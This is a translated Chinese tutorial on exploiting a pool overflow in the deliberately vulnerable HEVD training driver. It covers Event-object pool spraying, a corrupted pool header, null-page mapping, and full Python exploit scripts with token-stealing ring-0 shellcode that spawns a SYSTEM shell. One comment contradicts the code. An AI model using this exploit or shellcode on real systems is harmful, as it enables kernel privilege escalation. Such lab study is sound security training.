Windows 内核 利用教程 4 池风水 -> 池溢出


Windows 内核 利用教程 4 池风水 -> 池溢出_第1张图片

前言

这一系列文章源于作者学习HackSystem开设课程--windows 内核利用训练课程的学习笔记,到目前为止作者已发布4篇:

1.环境搭建2.栈溢出3.任意内存覆盖4.池溢出

概要

我们已经在上一章探讨了任意内存覆盖漏洞,在本章我们讨论另一个漏洞,池溢出。简单来说,就是池缓冲区的越界。这部分可能会比较难,我们将深入探讨如何通过修改池,从而控制应用程序流,确保每次都可靠地指向我们的shellcode地址。所以花点时间好好理解我之前文章中的概念,之后再来尝试利用本文中的漏洞。

再次感谢hacksysteam的驱动程序。

池风水

在我们深入探讨池溢出这个主题前, 我们需要先了解下池的基本概念, 如何根据需要操纵它。 Tarjei Mandt写了一篇很好的关于这个主题的文章,强烈建议在继续阅读本文前先浏览Tarjei Mandt 的文章,因为你需要对池概念有一个扎实的理解。

内核池类似于Windows 中的堆, 因为它的作用也是用来动态分配内存。 就像堆喷修改正常应用程序的堆一样,我们需要在内核领域找到一种办法来修改内存池,以便在内存区域精确地调用我们的shellcode。 理解内存分配器的概念以及如何影响池分配和释放机制相当重要。

至于我们的 HEVD 驱动, 有漏洞的用户缓冲区被分配在非分页池,所以我们需要找到一种方法来修改非分页池。 Windows 提供了一种Event对象, 该对象存储在非分页池中,可以使用CreateEvent API 来创建:

HANDLE WINAPI CreateEvent(

_In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes,

_In_    BOOL  bManualReset,

_In_    BOOL  bInitialState,

_In_opt_ LPCTSTR              lpName

);

在这里我们需要用这个API创建两个足够大的Event对象数组,然后通过使用CloseHandle API 释放某些Event 对象,从而在分配的池块中造成空隙,经合并形成更大的空闲块:

BOOL WINAPI CloseHandle(

_In_ HANDLE hObject

);

在这些空闲块中,我们需要将有漏洞的用户缓冲区插进去,以便每次准确地覆盖正确的内存位置。因为我们会破坏Event对象的相邻头部,以便跳转到包含shellcode的地址。下面用一个粗略的图表来展示下我们正要做的工作:

在这之后,我们会把指针指向shellcode,这样就可以通过操纵损坏的池头部来调用它。 我们伪造一个OBJECT_TYPE头,覆盖指向OBJECT_TYPE_INITIALIZER中的一个过程的指针。

分析

为了便于分析漏洞, 先看下PoolOverflow.c 文件:

__try {

DbgPrint("[+] Allocating Pool chunk\n");

// 分配池块

KernelBuffer = ExAllocatePoolWithTag(NonPagedPool,

(SIZE_T)POOL_BUFFER_SIZE,

(ULONG)POOL_TAG);

if (!KernelBuffer) {

// Unable to allocate Pool chunk

DbgPrint("[-] Unable to allocate Pool chunk\n");

Status = STATUS_NO_MEMORY;

return Status;

}

else {

DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));

DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));

DbgPrint("[+] Pool Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);

DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);

}

// 验证缓冲区是否驻留在用户模式下

ProbeForRead(UserBuffer, (SIZE_T)POOL_BUFFER_SIZE, (ULONG)__alignof(UCHAR));

DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);

DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);

DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);

DbgPrint("[+] KernelBuffer Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);

#ifdef SECURE

// 安全注意: 因为开发者传递的size大小 等同于  RtlCopyMemory()/memcpy()分配的池块大小,所以是安全的,因此没有溢出。

RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)POOL_BUFFER_SIZE);

#else

DbgPrint("[+] Triggering Pool Overflow\n");

// 漏洞注意:这是一个基于池的溢出

// 因为没有检查开发者传递的size大小 是否大于或者等于  RtlCopyMemory()/memcpy()分配的池块大小,所以是安全的,因此没有溢出

RtlCopyMemory(KernelBuffer, UserBuffer, Size);

似乎看起来有点复杂,但是这里的漏洞很明显,在最后一行开发人员直接传递值而没有验证大小,这导致了一个基于池的溢出漏洞。

我们将按照上一篇文章中的描述找到这个漏洞的IOCTL号:

hex((0x00000022 << 16) | (0x00000000 << 14) | (0x803 << 2) | 0x00000003)

计算得出 IOCTL 为 0x22200f。

用IDA分析一下驱动中的 TriggerPoolOverflow 函数:

Windows 内核 利用教程 4 池风水 -> 池溢出_第2张图片

我们用标签“Hack”指代有漏洞的缓冲区标记,长度为0x1f8(504)。由于现在有足够的关于漏洞的信息,让我们直接跳到有趣的部分,利用它。


利用

让我们从基本的框架开始, IOCTL 为 0x22200f。

import ctypes, sys, struct

from ctypes import *

from subprocess import *

def main():

kernel32 = windll.kernel32

psapi = windll.Psapi

ntdll = windll.ntdll

hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)

if not hevDevice or hevDevice == -1:

print "*** Couldn't get Device Driver handle"

sys.exit(-1)

buf = "A"*100

bufLength = len(buf)

kernel32.DeviceIoControl(hevDevice, 0x22200f, buf, bufLength, None, 0, byref(c_ulong()), None)

if __name__ == "__main__":

main()

Windows 内核 利用教程 4 池风水 -> 池溢出_第3张图片

我们正在触发池溢出IOCTL,可以看到标签“Hack”,大小为0x1f8(504),尝试下赋给UserBuffer 0x1f8个字节的大小。

Windows 内核 利用教程 4 池风水 -> 池溢出_第4张图片

我们现在不应该破坏相邻的内存块,因为现在UserBuffer的值为边界值,来分析一下池:

Windows 内核 利用教程 4 池风水 -> 池溢出_第5张图片

可以看到用户缓冲区被完美地分配了,结束地址为下一个池块起始地址:

Windows 内核 利用教程 4 池风水 -> 池溢出_第6张图片

溢出会是灾难性的,并且将直接导致系统蓝屏崩溃,破坏了相邻的池块头部。

Windows 内核 利用教程 4 池风水 -> 池溢出_第7张图片

在这里很有趣的一件事是,我们如何能够通过溢出控制相邻的头部。我们利用的这个漏洞可以以修改池的方式来使得池不再随机化。那么我此前讨论的 CreateEvent API 可以胜任这个工作,它的大小为0x40个字节,正好可以匹配池的大小0x200个字节。

我们会喷射大量Event对象,把它们的句柄存储在数组中,看下如何影响我们的池:

import ctypes, sys, struct

from ctypes import *

from subprocess import *

def main():

kernel32 = windll.kernel32

ntdll = windll.ntdll

hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)

if not hevDevice or hevDevice == -1:

print "*** Couldn't get Device Driver handle."

sys.exit(0)

buf = "A"*504

buf_ad = id(buf) + 20

spray_event1 = spray_event2 = []

for i in xrange(10000):

spray_event1.append(kernel32.CreateEventA(None, False, False, None))

for i in xrange(5000):

spray_event2.append(kernel32.CreateEventA(None, False, False, None))

kernel32.DeviceIoControl(hevDevice, 0x22200f, buf_ad, len(buf), None, 0, byref(c_ulong()), None)

if __name__ == "__main__":

main()

我们的Event对象被喷射到非分页池中,现在我们需要在这些内存块创造一些空隙,然后把我们有漏洞的Hack缓冲区重新分配到这些空隙中。在重新分配有漏洞的缓冲区后,我们需要破坏相邻的池头部,以指向我们的shellcode地址。Event对象的大小为0x40个字节(0x38+0x8),包括池头部。

来分析一下头部:

Windows 内核 利用教程 4 池风水 -> 池溢出_第8张图片

由于Event对象被喷射到非分页池中,所以我们可以将这些值加到缓冲区末尾,来实现利用。但是,简单这样做是行不通的,我们来研究下头部的数据结构,再稍作修改:

Windows 内核 利用教程 4 池风水 -> 池溢出_第9张图片

我们感兴趣的部分是TypeIndex ,它实际上是指针数组中的偏移量大小,它定义了Windows所支持的每个对象的OBJECT_TYPE,来分析一下:

Windows 内核 利用教程 4 池风水 -> 池溢出_第10张图片

这看起来可能有点复杂,但我已经标记出了重要的部分:

第一个指针是 00000000,在Windows 7下非常重要(下面解释);

下一个突出显示的指针是 85f05418, 这是从0xc开始的偏移量;

分析到这,可以看出这是Event对象类型;

现在最有趣的是偏移量0x28 处的TypeInfo成员:

这个成员的最后部分有一些程序调用,我们可以从提供的程序中挑选以供己用,在这选择0x038处的 CloseProcedure

CloseProcedure 的偏移量为 0x28 + 0x38 = 0x60

我们会覆盖0x60处的这个指针,让它指向我们的shellcode地址,然后调用CloseProcedure方法,从而最终执行我们的shellcode。

我们的目标是把TypeIndex的偏移量从0xc改为0x0,因为第一个指针是空指针,在Windows 7 中有一个漏洞,可以调用 NtAllocateVirtualMemory来映射到Null页面:

NTSTATUS ZwAllocateVirtualMemory(

_In_    HANDLE    ProcessHandle,

_Inout_ PVOID    *BaseAddress,

_In_    ULONG_PTR ZeroBits,

_Inout_ PSIZE_T  RegionSize,

_In_    ULONG    AllocationType,

_In_    ULONG    Protect

);

然后调用WriteProcessMemory 覆盖0x60处的指针,指向shellcode地址:

BOOL WINAPI WriteProcessMemory(

_In_  HANDLE  hProcess,

_In_  LPVOID  lpBaseAddress,

_In_  LPCVOID lpBuffer,

_In_  SIZE_T  nSize,

_Out_ SIZE_T  *lpNumberOfBytesWritten

);

把所有的内容整合一下,python脚本大体如下:

import ctypes, sys, struct

from ctypes import *

from subprocess import *

def main():

kernel32 = windll.kernel32

ntdll = windll.ntdll

hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)

if not hevDevice or hevDevice == -1:

print "*** Couldn't get Device Driver handle."

sys.exit(0)

ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(c_void_p(0x1)), 0, byref(c_ulong(0x100)), 0x3000, 0x40)

shellcode = "\x90" * 8

shellcode_address = id(shellcode) + 20

kernel32.WriteProcessMemory(0xFFFFFFFF, 0x60, byref(c_void_p(shellcode_address)), 0x4, byref(c_ulong()))

buf = "A" * 504

buf += struct.pack("L", 0x04080040)

buf += struct.pack("L", 0xEE657645)

buf += struct.pack("L", 0x00000000)

buf += struct.pack("L", 0x00000040)

buf += struct.pack("L", 0x00000000)

buf += struct.pack("L", 0x00000000)

buf += struct.pack("L", 0x00000001)

buf += struct.pack("L", 0x00000001)

buf += struct.pack("L", 0x00000000)

buf += struct.pack("L", 0x00080000)

buf_ad = id(buf) + 20

spray_event1 = spray_event2 = []

for i in xrange(10000):

spray_event1.append(kernel32.CreateEventA(None, False, False, None))

for i in xrange(5000):

spray_event2.append(kernel32.CreateEventA(None, False, False, None))

for i in xrange(0, len(spray_event2), 16):

for j in xrange(0, 8, 1):

kernel32.CloseHandle(spray_event2[i+j])

kernel32.DeviceIoControl(hevDevice, 0x22200f, buf_ad, len(buf), None, 0, byref(c_ulong()), None)

if __name__ == "__main__":

main()

Windows 内核 利用教程 4 池风水 -> 池溢出_第11张图片

有漏洞的缓冲区现在位于我们创建的Event对象之间的空隙中。

Windows 内核 利用教程 4 池风水 -> 池溢出_第12张图片

TypeIndex由 0xc 修改为 0x0

Windows 内核 利用教程 4 池风水 -> 池溢出_第13张图片

shellcode地址布置完成!

现在,只需要调用 Closeprocedure,在 虚拟内存中 加载shellcode, shellcode应该完美运行。最终版本的exploit如下:

import ctypes, sys, struct

from ctypes import *

from subprocess import *

def main():

kernel32 = windll.kernel32

ntdll = windll.ntdll

hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)

if not hevDevice or hevDevice == -1:

print "*** Couldn't get Device Driver handle."

sys.exit(0)

#定义 ring0级的shellcode , 加载.

shellcode = bytearray(

"\x90\x90\x90\x90"  # NOP Sled

"\x60"  # pushad

"\x64\xA1\x24\x01\x00\x00"  # mov eax, fs:[KTHREAD_OFFSET]

"\x8B\x40\x50"  # mov eax, [eax + EPROCESS_OFFSET]

"\x89\xC1"  # mov ecx, eax (Current _EPROCESS structure)

"\x8B\x98\xF8\x00\x00\x00"  # mov ebx, [eax + TOKEN_OFFSET]

"\xBA\x04\x00\x00\x00"  # mov edx, 4 (SYSTEM PID)

"\x8B\x80\xB8\x00\x00\x00"  # mov eax, [eax + FLINK_OFFSET]

"\x2D\xB8\x00\x00\x00"  # sub eax, FLINK_OFFSET

"\x39\x90\xB4\x00\x00\x00"  # cmp [eax + PID_OFFSET], edx

"\x75\xED"  # jnz

"\x8B\x90\xF8\x00\x00\x00"  # mov edx, [eax + TOKEN_OFFSET]

"\x89\x91\xF8\x00\x00\x00"  # mov [ecx + TOKEN_OFFSET], edx

"\x61"  # popad

"\xC2\x10\x00"  # ret 16

)

ptr = kernel32.VirtualAlloc(c_int(0), c_int(len(shellcode)), c_int(0x3000),c_int(0x40))

buff = (c_char * len(shellcode)).from_buffer(shellcode)

kernel32.RtlMoveMemory(c_int(ptr), buff, c_int(len(shellcode)))

print "[+] Pointer for ring0 shellcode: {0}".format(hex(ptr))

#分配Null页面,虚拟内存地址: 0x0000 - 0x1000

#基址为0x1

#分配0x100(256)个字节大小的内存块

print "\n[+] Allocating/Mapping NULL page..."

null_status = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(c_void_p(0x1)), 0, byref(c_ulong(0x100)), 0x3000, 0x40)

if null_status != 0x0:

print "\t[+] Failed to allocate NULL page..."

sys.exit(-1)

else:

print "\t[+] NULL Page Allocated"

#将 ring0级 指针写入Null 页面,为了调用CloseProcedure @ 0x60

print "\n[+] Writing ring0 pointer {0} in location 0x60...".format(hex(ptr))

if not kernel32.WriteProcessMemory(0xFFFFFFFF, 0x60, byref(c_void_p(ptr)), 0x4, byref(c_ulong())):

print "\t[+] Failed to write at 0x60 location"

sys.exit(-1)

#定义用户缓冲区

#长度大小 0x1f8 (504), 破坏相邻池头部指向Null 页面

buf = "A" * 504

buf += struct.pack("L", 0x04080040)

buf += struct.pack("L", 0xEE657645)

buf += struct.pack("L", 0x00000000)

buf += struct.pack("L", 0x00000040)

buf += struct.pack("L", 0x00000000)

buf += struct.pack("L", 0x00000000)

buf += struct.pack("L", 0x00000001)

buf += struct.pack("L", 0x00000001)

buf += struct.pack("L", 0x00000000)

buf += struct.pack("L", 0x00080000)

buf_ad = id(buf) + 20

#将Event对象喷射到非分页池,创造两个足够大的(10000和 5000)的块。

spray_event1 = spray_event2 = []

print "\n[+] Spraying Non-Paged Pool with Event Objects..."

for i in xrange(10000):

spray_event1.append(kernel32.CreateEventA(None, False, False, None))

print "\t[+] Sprayed 10000 objects."

for i in xrange(5000):

spray_event2.append(kernel32.CreateEventA(None, False, False, None))

print "\t[+] Sprayed 5000 objects."

#在喷射区域造成空洞,以便将用户缓冲区分配到该地址

print "\n[+] Creating holes in the sprayed region..."

for i in xrange(0, len(spray_event2), 16):

for j in xrange(0, 8, 1):

kernel32.CloseHandle(spray_event2[i+j])

kernel32.DeviceIoControl(hevDevice, 0x22200f, buf_ad, len(buf), None, 0, byref(c_ulong()), None)

#通过释放Event 对象 关闭句柄,最终执行shellcode

print "\n[+] Calling the CloseProcedure..."

for i in xrange(0, len(spray_event1)):

kernel32.CloseHandle(spray_event1[i])

for i in xrange(8, len(spray_event2), 16):

for j in xrange(0, 8, 1):

kernel32.CloseHandle(spray_event2[i + j])

print "\n[+] nt authority\system shell incoming"

Popen("start cmd", shell=True)

if __name__ == "__main__":

main()

Windows 内核 利用教程 4 池风水 -> 池溢出_第14张图片

得到系统管理员权限:

Windows 内核 利用教程 4 池风水 -> 池溢出_第15张图片

本文由看雪翻译小组 fyb波 编译,来源rootkits  转载请注明来自看雪社区

你可能感兴趣的:(Windows 内核 利用教程 4 池风水 -> 池溢出)